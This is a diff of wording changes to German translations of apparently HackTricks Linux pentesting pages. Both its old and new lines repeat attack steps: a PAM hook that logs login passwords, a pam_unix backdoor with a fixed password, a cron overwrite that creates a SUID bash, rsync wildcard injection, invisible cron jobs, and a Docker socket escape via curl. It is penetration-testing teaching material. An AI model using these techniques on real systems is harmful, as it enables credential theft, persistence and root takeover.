> **DDexec / EverythingExec** ermöglicht es Ihnen, Ihren eigenen **Shellcode** oder **jede Binärdatei** aus dem **Speicher** zu laden und **auszuführen**.
@ -72,7 +72,7 @@ ddexec.md
### MemExec
[**Memexec**](https://github.com/arget13/memexec) ist der natürliche nächste Schritt von DDexec. Es ist ein **DDexec Shellcode-Dämon**, sodass Sie jedes Mal, wenn Sie **eine andere Binärdatei ausführen** möchten, DDexec nicht neu starten müssen. Sie können einfach den Memexec-Shellcode über die DDexec-Technik ausführen und dann **mit diesem Dämon kommunizieren, um neue Binärdateien zu laden und auszuführen**.
[**Memexec**](https://github.com/arget13/memexec) ist der natürliche nächste Schritt von DDexec. Es ist ein **DDexec Shellcode demonisiert**, sodass Sie jedes Mal, wenn Sie **eine andere Binärdatei ausführen** möchten, DDexec nicht neu starten müssen. Sie können einfach den Memexec-Shellcode über die DDexec-Technik ausführen und dann **mit diesem Dämon kommunizieren, um neue Binärdateien zu laden und auszuführen**.
Sie finden ein Beispiel, wie Sie **memexec verwenden, um Binärdateien von einem PHP-Reverse-Shell auszuführen** unter [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).

View File

@ -17,7 +17,7 @@ FreeIPA ist eine Open-Source-**Alternative** zu Microsoft Windows **Active Direc
### Binaries
Werkzeuge wie `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` und `kvno` sind zentral für die Verwaltung von FreeIPA-Domänen, die Handhabung von Kerberos-Tickets, das Ändern von Passwörtern und das Erwerben von Servicetickets, unter anderem.
Werkzeuge wie `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` und `kvno` sind entscheidend für die Verwaltung von FreeIPA-Domänen, die Handhabung von Kerberos-Tickets, das Ändern von Passwörtern und das Erwerben von Servicetickets, unter anderem.
### Netzwerk
@ -54,13 +54,13 @@ privilege-escalation/linux-active-directory.md
### Hosts, Benutzer und Gruppen <a href="#id-4b3b" id="id-4b3b"></a>
Es ist möglich, **Hosts**, **Benutzer** und **Gruppen** zu erstellen. Hosts und Benutzer werden in Container sortiert, die als “**Host-Gruppen**” und “**Benutzergruppen**” bezeichnet werden. Diese sind ähnlich wie **Organizational Units** (OU).
Es ist möglich, **Hosts**, **Benutzer** und **Gruppen** zu erstellen. Hosts und Benutzer werden in Container unter dem Namen “**Hostgruppen**” und “**Benutzergruppen**” sortiert. Diese sind ähnlich wie **Organizational Units** (OU).
Standardmäßig erlaubt der LDAP-Server in FreeIPA **anonyme Bindungen**, und ein großer Teil der Daten ist **unauthentifiziert** aufrufbar. Dies kann alle Daten auflisten, die unauthentifiziert verfügbar sind:
```
ldapsearch -x
```
Um **mehr Informationen** zu erhalten, müssen Sie eine **authentifizierte** Sitzung verwenden (siehe den Abschnitt Authentifizierung, um zu erfahren, wie man eine authentifizierte Sitzung vorbereitet).
Um **mehr Informationen** zu erhalten, müssen Sie eine **authentifizierte** Sitzung verwenden (siehe den Abschnitt Authentifizierung, um zu erfahren, wie Sie eine authentifizierte Sitzung vorbereiten).
```bash
# Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@ -88,21 +88,21 @@ ipa usergroup-show <user group> --all
ipa host-find <host> --all
ipa hostgroup-show <host group> --all
```
> [!NOTE]
> Der **admin** Benutzer von **FreeIPA** entspricht den **Domain-Admins** aus **AD**.
> [!TIP]
> Der **admin**-Benutzer von **FreeIPA** entspricht den **Domain-Admins** aus **AD**.
### Hashes <a href="#id-482b" id="id-482b"></a>
Der **root** Benutzer des **IPA-Servers** hat Zugriff auf die Passwort-**Hashes**.
Der **root**-Benutzer des **IPA-Servers** hat Zugriff auf die Passwort-**Hashes**.
- Der Passwort-Hash eines Benutzers wird als **base64** im “**userPassword**” **Attribut** gespeichert. Dieser Hash könnte **SSHA512** (alte Versionen von FreeIPA) oder **PBKDF2_SHA256** sein.
- Der **Nthash** des Passworts wird als **base64** in “**ipaNTHash**” gespeichert, wenn das System mit **AD** **integriert** ist.
- Der Passwort-Hash eines Benutzers wird als **base64** im Attribut “**userPassword**” gespeichert. Dieser Hash kann **SSHA512** (alte Versionen von FreeIPA) oder **PBKDF2_SHA256** sein.
- Der **Nthash** des Passworts wird als **base64** in “**ipaNTHash**” gespeichert, wenn das System mit **AD** integriert ist.
Um diese Hashes zu knacken:
• Wenn FreeIPA mit AD integriert ist, ist **ipaNTHash** leicht zu knacken: Sie sollten **base64** dekodieren -> als **ASCII**-Hex neu kodieren -> John The Ripper oder **hashcat** können Ihnen helfen, es schnell zu knacken.
• Wenn FreeIPA mit AD integriert ist, ist **ipaNTHash** leicht zu knacken: Sie sollten **base64** dekodieren -> es als **ASCII**-Hex neu kodieren -> John The Ripper oder **hashcat** können Ihnen helfen, es schnell zu knacken.
• Wenn eine alte Version von FreeIPA verwendet wird, wird **SSHA512** verwendet: Sie sollten **base64** dekodieren -> SSHA512 **Hash** finden -> John The Ripper oder **hashcat** können Ihnen helfen, es zu knacken.
• Wenn eine alte Version von FreeIPA verwendet wird, wird **SSHA512** verwendet: Sie sollten **base64** dekodieren -> SSHA512-**Hash** finden -> John The Ripper oder **hashcat** können Ihnen helfen, es zu knacken.
• Wenn eine neue Version von FreeIPA verwendet wird, wird **PBKDF2_SHA256** verwendet: Sie sollten **base64** dekodieren -> PBKDF2_SHA256 finden -> seine **Länge** beträgt 256 Byte. John kann mit 256 Bits (32 Byte) arbeiten -> SHA-265 wird als Pseudo-Zufallsfunktion verwendet, die Blockgröße beträgt 32 Byte -> Sie können nur die ersten 256 Bits unseres PBKDF2_SHA256-Hashes verwenden -> John The Ripper oder hashcat können Ihnen helfen, es zu knacken.
@ -123,9 +123,9 @@ ipa hbacrule-find
# Show info of rule
ipa hbacrule-show <hbacrule> --all
```
#### Sudo-Regeln
#### Sudo-Rules
FreeIPA ermöglicht die zentrale Kontrolle über **sudo-Berechtigungen** über sudo-Regeln. Diese Regeln erlauben oder beschränken die Ausführung von Befehlen mit sudo auf Hosts innerhalb der Domäne. Ein Angreifer könnte potenziell die anwendbaren Hosts, Benutzer und erlaubten Befehle identifizieren, indem er diese Regelsets untersucht.
FreeIPA ermöglicht die zentrale Kontrolle über **sudo permissions** über sudo-rules. Diese Regeln erlauben oder beschränken die Ausführung von Befehlen mit sudo auf Hosts innerhalb der Domäne. Ein Angreifer könnte potenziell die anwendbaren Hosts, Benutzer und erlaubten Befehle identifizieren, indem er diese Regelsets untersucht.
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
@ -138,11 +138,11 @@ ipa sudorule-show <sudorule> --all
Eine **Rolle** besteht aus verschiedenen **Befugnissen**, von denen jedes eine Sammlung von **Berechtigungen** umfasst. Diese Rollen können Benutzern, Benutzer-**Gruppen**, **Hosts**, Host-Gruppen und Diensten zugewiesen werden. Zum Beispiel kann die Standardrolle „Benutzeradministrator“ in FreeIPA diese Struktur veranschaulichen.
Die Rolle `Benutzeradministrator` hat diese Befugnisse:
Die Rolle `User Administrator` hat diese Befugnisse:
- **Benutzeradministratoren**
- **Gruppenadministratoren**
- **Stage-Benutzeradministratoren**
- **Stage Benutzeradministratoren**
Mit den folgenden Befehlen ist es möglich, die Rollen, Befugnisse und Berechtigungen aufzulisten:
```bash

View File

@ -4,7 +4,7 @@
## Sniffing Logon Passwords with PAM
Lass uns ein PAM-Modul konfigurieren, um jedes Passwort, das ein Benutzer zum Anmelden verwendet, zu protokollieren. Wenn du nicht weißt, was PAM ist, siehe:
Lass uns ein PAM-Modul konfigurieren, um jedes Passwort, das ein Benutzer zum Anmelden verwendet, zu protokollieren. Wenn du nicht weißt, was PAM ist, schaue nach:
{{#ref}}
pam-pluggable-authentication-modules.md
@ -18,7 +18,7 @@ Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung d
**Erfassung von Anmeldeinformationen:**
- Ein Bash-Skript namens `toomanysecrets.sh` wird erstellt, um Anmeldeversuche zu protokollieren, wobei das Datum, der Benutzername (`$PAM_USER`), das Passwort (über stdin) und die IP des Remote-Hosts (`$PAM_RHOST`) in `/var/log/toomanysecrets.log` erfasst werden.
- Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (`common-auth`) mit dem Modul `pam_exec.so` integriert, wobei Optionen verwendet werden, um leise zu laufen und das Authentifizierungstoken an das Skript weiterzugeben.
- Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (`common-auth`) integriert, indem das Modul `pam_exec.so` mit Optionen verwendet wird, um leise auszuführen und das Authentifizierungstoken an das Skript weiterzugeben.
- Der Ansatz zeigt, wie ein kompromittierter Linux-Host ausgenutzt werden kann, um Anmeldeinformationen diskret zu protokollieren.
```bash
#!/bin/sh
@ -35,7 +35,7 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Das Pluggable Authentication Module (PAM) ist ein System, das unter Linux zur Benutzerauthentifizierung verwendet wird. Es basiert auf drei Hauptkonzepten: **Benutzername**, **Passwort** und **Dienst**. Konfigurationsdateien für jeden Dienst befinden sich im Verzeichnis `/etc/pam.d/`, wo gemeinsame Bibliotheken die Authentifizierung verwalten.
**Ziel**: PAM so modifizieren, dass die Authentifizierung mit einem bestimmten Passwort erfolgt, das das tatsächliche Benutzerpasswort umgeht. Dies konzentriert sich insbesondere auf die `pam_unix.so`-Gemeinschaftsbibliothek, die von der Datei `common-auth` verwendet wird, die von fast allen Diensten zur Passwortüberprüfung einbezogen wird.
**Ziel**: PAM so modifizieren, dass die Authentifizierung mit einem bestimmten Passwort erfolgt, das das tatsächliche Benutzerpasswort umgeht. Dies konzentriert sich insbesondere auf die `pam_unix.so`-Gemeinschaftsbibliothek, die von der Datei `common-auth` verwendet wird, die von fast allen Diensten zur Passwortüberprüfung eingebunden ist.
### Schritte zur Modifizierung von `pam_unix.so`:
@ -43,11 +43,11 @@ Das Pluggable Authentication Module (PAM) ist ein System, das unter Linux zur Be
- Die Zeile, die für die Überprüfung des Benutzerpassworts verantwortlich ist, ruft `pam_unix.so` auf.
2. **Quellcode modifizieren**:
- Fügen Sie eine Bedingung in der Quellcodedatei `pam_unix_auth.c` hinzu, die den Zugriff gewährt, wenn ein vordefiniertes Passwort verwendet wird, andernfalls wird der übliche Authentifizierungsprozess fortgesetzt.
3. **Kompilieren und Ersetzen** Sie die modifizierte `pam_unix.so`-Bibliothek im entsprechenden Verzeichnis.
3. **Kompilieren und Ersetzen** der modifizierten `pam_unix.so`-Bibliothek im entsprechenden Verzeichnis.
4. **Testen**:
- Der Zugriff wird über verschiedene Dienste (Anmeldung, ssh, sudo, su, Bildschirmschoner) mit dem vordefinierten Passwort gewährt, während die normalen Authentifizierungsprozesse unbeeinflusst bleiben.
> [!NOTE]
> Sie können diesen Prozess automatisieren mit [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
> [!TIP]
> Sie können diesen Prozess mit [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) automatisieren
{{#include ../../banners/hacktricks-training.md}}

View File

@ -125,6 +125,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
Wenn Sie sich in einem Docker-Container befinden, können Sie versuchen, daraus zu entkommen:
{{#ref}}
docker-security/
{{#endref}}
@ -168,8 +169,8 @@ ps aux
ps -ef
top -n 1
```
Immer nach möglichen [**electron/cef/chromium-Debuggern** suchen, die ausgeführt werden, da Sie diese missbrauchen könnten, um Privilegien zu eskalieren](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect`-Parameter in der Befehlszeile des Prozesses überprüft.\
Überprüfen Sie auch **Ihre Berechtigungen über die Binärdateien der Prozesse**, vielleicht können Sie jemandes Dateien überschreiben.
Überprüfen Sie immer, ob mögliche [**electron/cef/chromium debuggers**] laufen, die Sie missbrauchen könnten, um Privilegien zu eskalieren](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect` Parameter in der Befehlszeile des Prozesses überprüft.\
Überprüfen Sie auch **Ihre Berechtigungen über die Binärdateien der Prozesse**, vielleicht können Sie etwas überschreiben.
### Prozessüberwachung
@ -188,8 +189,8 @@ Denken Sie jedoch daran, dass **Sie als regulärer Benutzer den Speicher der Pro
>
> - **kernel.yama.ptrace_scope = 0**: Alle Prozesse können debuggt werden, solange sie die gleiche UID haben. Dies ist die klassische Art, wie ptracing funktionierte.
> - **kernel.yama.ptrace_scope = 1**: Nur ein übergeordneter Prozess kann debuggt werden.
> - **kernel.yama.ptrace_scope = 2**: Nur der Administrator kann ptrace verwenden, da dies die CAP_SYS_PTRACE-Berechtigung erfordert.
> - **kernel.yama.ptrace_scope = 3**: Es dürfen keine Prozesse mit ptrace verfolgt werden. Nach der Einstellung ist ein Neustart erforderlich, um das ptracing wieder zu aktivieren.
> - **kernel.yama.ptrace_scope = 2**: Nur der Administrator kann ptrace verwenden, da dies die CAP_SYS_PTRACE Fähigkeit erfordert.
> - **kernel.yama.ptrace_scope = 3**: Es dürfen keine Prozesse mit ptrace verfolgt werden. Ein Neustart ist erforderlich, um das ptracing wieder zu aktivieren, sobald es festgelegt ist.
#### GDB
@ -230,7 +231,7 @@ rm $1*.bin
```
#### /dev/mem
`/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann mit /dev/kmem zugegriffen werden.\
`/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann über /dev/kmem zugegriffen werden.\
Typischerweise ist `/dev/mem` nur für **root** und die **kmem**-Gruppe lesbar.
```
strings /dev/mem -n10 | grep -i PASS
@ -315,7 +316,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Geplante/Cron-Jobs
Überprüfen Sie, ob ein geplanter Job anfällig ist. Vielleicht können Sie einen Vorteil aus einem Skript ziehen, das von root ausgeführt wird (Wildcard-Schwachstelle? Können Dateien geändert werden, die root verwendet? Symlinks verwenden? Bestimmte Dateien im Verzeichnis erstellen, das root verwendet?).
Überprüfen Sie, ob ein geplanter Job anfällig ist. Vielleicht können Sie einen Vorteil aus einem Skript ziehen, das von root ausgeführt wird (Wildcard-Schwachstelle? Kann Dateien ändern, die root verwendet? Symlinks verwenden? Bestimmte Dateien im Verzeichnis erstellen, das root verwendet?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@ -336,7 +337,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Cron mit einem Skript mit einem Platzhalter (Wildcard Injection)
Wenn ein Skript, das von root ausgeführt wird, ein „**\***“ innerhalb eines Befehls hat, könntest du dies ausnutzen, um unerwartete Dinge zu verursachen (wie privesc). Beispiel:
Wenn ein Skript, das von root ausgeführt wird, ein “**\***” innerhalb eines Befehls hat, könntest du dies ausnutzen, um unerwartete Dinge (wie privesc) zu verursachen. Beispiel:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
@ -344,6 +345,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
Lesen Sie die folgende Seite für weitere Tricks zur Ausnutzung von Wildcards:
{{#ref}}
wildcards-spare-tricks.md
{{#endref}}
@ -372,7 +374,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Unsichtbare Cron-Jobs
Es ist möglich, einen Cron-Job **ein Wagenrücklaufzeichen nach einem Kommentar hinzuzufügen** (ohne Zeilenumbruchzeichen), und der Cron-Job wird funktionieren. Beispiel (beachten Sie das Wagenrücklaufzeichen):
Es ist möglich, einen Cronjob **ein Wagenrücklaufzeichen nach einem Kommentar hinzuzufügen** (ohne Zeilenumbruchzeichen), und der Cronjob wird funktionieren. Beispiel (beachten Sie das Wagenrücklaufzeichen):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@ -389,11 +391,11 @@ Beachten Sie, dass Sie, wenn Sie **Schreibberechtigungen für Binärdateien habe
### systemd PATH - Relative Pfade
Sie können den von **systemd** verwendeten PATH mitsehen:
Sie können den von **systemd** verwendeten PATH mit:
```bash
systemctl show-environment
```
Wenn Sie feststellen, dass Sie in einem der Ordner des Pfades **schreiben** können, könnten Sie in der Lage sein, **Privilegien zu eskalieren**. Sie müssen nach **relativen Pfaden suchen, die in Dienstkonfigurations**dateien verwendet werden, wie:
Wenn Sie feststellen, dass Sie in einem der Ordner des Pfades **schreiben** können, könnten Sie in der Lage sein, **Privilegien zu eskalieren**. Sie müssen nach **relativen Pfaden suchen, die in den Konfigurationsdateien von Diensten verwendet werden**, wie:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
@ -421,7 +423,7 @@ In der Dokumentation können Sie lesen, was die Einheit ist:
> Die Einheit, die aktiviert werden soll, wenn dieser Timer abläuft. Das Argument ist ein Einheitsname, dessen Suffix nicht ".timer" ist. Wenn nicht angegeben, wird dieser Wert standardmäßig auf einen Dienst gesetzt, der denselben Namen wie die Timer-Einheit hat, mit Ausnahme des Suffixes. (Siehe oben.) Es wird empfohlen, dass der aktivierte Einheitsname und der Einheitsname der Timer-Einheit identisch benannt sind, mit Ausnahme des Suffixes.
Um diese Berechtigung auszunutzen, müssten Sie daher:
Daher müssten Sie, um diese Berechtigung auszunutzen:
- Eine systemd-Einheit (wie eine `.service`) finden, die **eine beschreibbare Binärdatei ausführt**
- Eine systemd-Einheit finden, die **einen relativen Pfad ausführt** und über **schreibbare Berechtigungen** über den **systemd PATH** verfügt (um diese ausführbare Datei zu impersonifizieren)
@ -430,7 +432,7 @@ Um diese Berechtigung auszunutzen, müssten Sie daher:
### **Timer aktivieren**
Um einen Timer zu aktivieren, benötigen Sie Root-Rechte und müssen ausführen:
Um einen Timer zu aktivieren, benötigen Sie Root-Rechte und müssen Folgendes ausführen:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
@ -439,17 +441,17 @@ Beachten Sie, dass der **Timer** durch das Erstellen eines Symlinks zu ihm in `/
## Sockets
Unix-Domain-Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder unterschiedlichen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Descriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
Unix Domain Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Descriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
Sockets können mit `.socket`-Dateien konfiguriert werden.
**Erfahren Sie mehr über Sockets mit `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen sind unterschiedlich, aber eine Zusammenfassung wird verwendet, um **anzuzeigen, wo es auf den Socket hören wird** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6 und/oder Portnummer, auf die gehört werden soll, usw.)
- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erstellt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Serviceeinheit **übergeben**, und es wird nur eine Serviceeinheit für alle Verbindungen erstellt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Serviceeinheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erzeugt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Service-Einheit **übergeben**, und es wird nur eine Service-Einheit für alle Verbindungen erzeugt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Einheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **vor** oder **nachdem** die hörenden **Sockets**/FIFOs **erstellt** und gebunden wurden, **ausgeführt** werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.
- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** oder **nachdem** die hörenden **Sockets**/FIFOs **geschlossen** und entfernt wurden, **ausgeführt** werden.
- `Service`: Gibt den Namen der **Service**-Einheit an, die **bei eingehendem Verkehr aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem Suffix ersetzt). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
- `Service`: Gibt den Namen der **Service**-Einheit an, die bei **eingehendem Verkehr** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem ersetzten Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
### Schreibbare .socket-Dateien
@ -475,6 +477,7 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of
```
**Exploitation Beispiel:**
{{#ref}}
socket-command-injection.md
{{#endref}}
@ -485,11 +488,11 @@ Beachten Sie, dass es einige **Sockets geben kann, die auf HTTP**-Anfragen höre
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
Wenn der Socket **mit einer HTTP**-Anfrage **antwortet**, können Sie **mit ihm kommunizieren** und möglicherweise **eine Schwachstelle ausnutzen**.
Wenn der Socket **mit einer HTTP**-Anfrage antwortet, können Sie **mit ihm kommunizieren** und möglicherweise **eine Schwachstelle ausnutzen**.
### Schreibbarer Docker-Socket
Der Docker-Socket, der häufig unter `/var/run/docker.sock` zu finden ist, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist er für den `root`-Benutzer und Mitglieder der `docker`-Gruppe schreibbar. Der Besitz von Schreibzugriff auf diesen Socket kann zu einer Privilegieneskalation führen. Hier ist eine Übersicht, wie dies geschehen kann und alternative Methoden, falls die Docker-CLI nicht verfügbar ist.
Der Docker-Socket, der häufig unter `/var/run/docker.sock` zu finden ist, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist er für den Benutzer `root` und Mitglieder der Gruppe `docker` schreibbar. Der Besitz von Schreibzugriff auf diesen Socket kann zu einer Privilegieneskalation führen. Hier ist eine Übersicht, wie dies geschehen kann und alternative Methoden, falls die Docker-CLI nicht verfügbar ist.
#### **Privilegieneskalation mit Docker-CLI**
@ -510,7 +513,7 @@ In Fällen, in denen die Docker-CLI nicht verfügbar ist, kann der Docker-Socket
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
2. **Einen Container erstellen:** Senden Sie eine Anfrage, um einen Container zu erstellen, der das Root-Verzeichnis des Host-Systems einbindet.
2. **Einen Container erstellen:** Senden Sie eine Anfrage zur Erstellung eines Containers, der das Root-Verzeichnis des Host-Systems einbindet.
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
@ -532,14 +535,15 @@ Connection: Upgrade
Upgrade: tcp
```
Nachdem Sie die `socat`-Verbindung eingerichtet haben, können Sie Befehle direkt im Container mit Root-Zugriff auf das Dateisystem des Hosts ausführen.
Nachdem die `socat`-Verbindung eingerichtet ist, können Sie Befehle direkt im Container mit Root-Zugriff auf das Dateisystem des Hosts ausführen.
### Sonstiges
### Andere
Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie **in der Gruppe `docker`** sind, [**mehr Möglichkeiten zur Eskalation von Rechten haben**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**Docker-API an einem Port lauscht**, können Sie sie möglicherweise ebenfalls kompromittieren](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie **in der Gruppe `docker` sind**, [**mehr Möglichkeiten zur Eskalation von Rechten haben**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**Docker-API an einem Port lauscht**, können Sie sie möglicherweise ebenfalls kompromittieren](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Überprüfen Sie **weitere Möglichkeiten, aus Docker auszubrechen oder es zu missbrauchen, um Privilegien zu eskalieren** in:
{{#ref}}
docker-security/
{{#endref}}
@ -548,6 +552,7 @@ docker-security/
Wenn Sie feststellen, dass Sie den **`ctr`**-Befehl verwenden können, lesen Sie die folgende Seite, da **Sie ihn möglicherweise missbrauchen können, um Privilegien zu eskalieren**:
{{#ref}}
containerd-ctr-privilege-escalation.md
{{#endref}}
@ -556,21 +561,22 @@ containerd-ctr-privilege-escalation.md
Wenn Sie feststellen, dass Sie den **`runc`**-Befehl verwenden können, lesen Sie die folgende Seite, da **Sie ihn möglicherweise missbrauchen können, um Privilegien zu eskalieren**:
{{#ref}}
runc-privilege-escalation.md
{{#endref}}
## **D-Bus**
D-Bus ist ein ausgeklügeltes **Inter-Process Communication (IPC)-System**, das es Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde mit dem modernen Linux-System im Hinterkopf entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation.
D-Bus ist ein ausgeklügeltes **Inter-Process Communication (IPC) System**, das es Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde mit dem modernen Linux-System im Hinterkopf entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation.
Das System ist vielseitig und unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen den Systemkomponenten fördert. Beispielsweise kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was das Benutzererlebnis verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
Das System ist vielseitig und unterstützt grundlegendes IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen den Systemkomponenten fördert. Zum Beispiel kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
D-Bus arbeitet nach einem **Erlauben/Verweigern-Modell**, das die Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln verwaltet. Diese Richtlinien spezifizieren Interaktionen mit dem Bus und können möglicherweise eine Privilegieneskalation durch die Ausnutzung dieser Berechtigungen ermöglichen.
Ein Beispiel für eine solche Richtlinie in `/etc/dbus-1/system.d/wpa_supplicant.conf` wird bereitgestellt, die die Berechtigungen für den Root-Benutzer beschreibt, um Nachrichten von `fi.w1.wpa_supplicant1` zu besitzen, zu senden und zu empfangen.
Richtlinien ohne einen angegebenen Benutzer oder eine Gruppe gelten universell, während "Standard"-Kontextrichtlinien für alle gelten, die nicht von anderen spezifischen Richtlinien abgedeckt sind.
Richtlinien ohne einen angegebenen Benutzer oder eine Gruppe gelten universell, während "Standard"-Kontextrichtlinien für alle gelten, die nicht durch andere spezifische Richtlinien abgedeckt sind.
```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
@ -579,7 +585,8 @@ Richtlinien ohne einen angegebenen Benutzer oder eine Gruppe gelten universell,
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
```
**Lernen Sie, wie man eine D-Bus-Kommunikation auflistet und ausnutzt:**
**Lernen Sie hier, wie man eine D-Bus-Kommunikation enumeriert und ausnutzt:**
{{#ref}}
d-bus-enumeration-and-command-injection-privilege-escalation.md
@ -587,9 +594,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
## **Netzwerk**
Es ist immer interessant, das Netzwerk aufzulisten und die Position der Maschine herauszufinden.
Es ist immer interessant, das Netzwerk zu enumerieren und die Position der Maschine herauszufinden.
### Generische Auflistung
### Generische Enumeration
```bash
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
@ -614,7 +621,7 @@ lsof -i
```
### Offene Ports
